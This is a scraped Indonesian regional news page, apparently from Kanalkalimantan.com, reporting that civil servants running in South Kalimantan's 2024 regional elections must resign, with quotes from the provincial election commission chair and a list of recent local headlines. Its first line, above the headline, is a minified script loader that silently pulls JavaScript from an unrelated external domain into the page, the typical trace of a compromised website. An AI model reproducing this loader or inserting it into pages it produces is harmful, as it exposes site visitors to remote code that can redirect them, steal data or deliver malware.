(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Mundur Syarat Mutlak ASN yang Maju Pilkada


KANALKALIMANTAN.COM, BANJARMASIN – Tensi politik menjelang kontestasi Pemilihan Kepala Daerah (Pilkada) di Kalimantan Selatan mulai terasa.

Tahapan Pilkada serentak 2024 pun sudah dimulai, diawali pendaftaran Pemantau Pemilihan.

Berdasarkan Peraturan KPU nomor 2 tahun 2024 pendaftaran bakal calon kepala daerah dibuka dari tanggal 27-29 Agustus 2024 dan penetapan calon 22 September 2024. Sementara pemungutan suara dijadwal pada Rabu 27 November 2024.

Sejumlah tokoh potensial dari partai politik dan kalangan birokrat mulai memberikan kode, baik melalui media sosial maupun media promisi baliho pinggir jalan. Beberapa bahkan terang-terangan mendeklarasikan diri maju sebagai bakal calon kepala daerah.

Baca juga: Kota Banjarbaru Usia 25, Wali Kota Aditya Urai Angka Capaian di Ibu Kota Kalsel

Namun, bagi seorang Aparatur Sipil Negara (ASN) yang ingin maju sebagai calon kepala daerah tentunya perlu memperhatikan aturan yang mengikat. Diantaranya harus rela melepaskan status karier kepegawaiannya.

Ketua Komisi Pemilihan Umum (KPU) Provinsi Kalsel Andi Tenri Sompa menegaskan, seorang ASN yang maju sebagai calon Gubernur dan Wakil Gubernur, Bupati atau Wali Kota wajib mengundurkan diri dari status kepegawaiannya.

Sebab menurutnya sesuai aturan, posisi ASN adalah netral, sehingga ada keharusan mengundurkan diri sebagai salah satu syarat menjadi peserta pemilihan atau calon kepala daerah.

“Iya wajib mundur, ASN kan harus netral,” kata Andi Tenri Sompa mengonfirmasi keharusan ASN mundur dari status kepegawaian jika mendaftar sebagai bakal calon kepala daerah, Sabtu (20/4/2024).

Baca juga: TAYANGAN TERBAIK KELUARGA INDONESIA

Hal itu menurutnya telah diatur dalam Undang-Undang Nomor 10 Tahun 2016 tentang Pemilihan Kepala Daerah dan Peraturan Komisi Pemilihan Umum (PKPU) Nomor 9 Tahun 2020 atas perubahan keempat PKPU Nomor 3 Tahun 2017 tentang Pencalonan Pemilihan Gubernur dan Wakil Gubernur, Bupati dan Wakil Bupati, dan atau Wali Kota dan Wakil Wali Kota.

“Ketentuannya ada di UU Pilkada dan PKPU itu,” tegas Andi Tenri Sompa.

Dimana pada PKPU Nomor 9 Tahun 2020, ketentuan pasal 4 ayat 1 huruf u bagi ASN yang maju sebagai calon kepal daerah, harus menyatakan secara tertulis pengunduran diri sebagai Pegawai Negeri Sipil sejak ditetapkan sebagai calon.

Baca juga: Lonjakan Tinggi Bawang Merah di Pasar Bauntung Banjarbaru, Segini Harganya

Hal itu juga berlaku bagi anggota TNI, Polri, Kepala Desa atau sebutan lain dan perangkat desa. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

15 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

18 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

21 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

22 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

22 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

23 jam ago

This website uses cookies.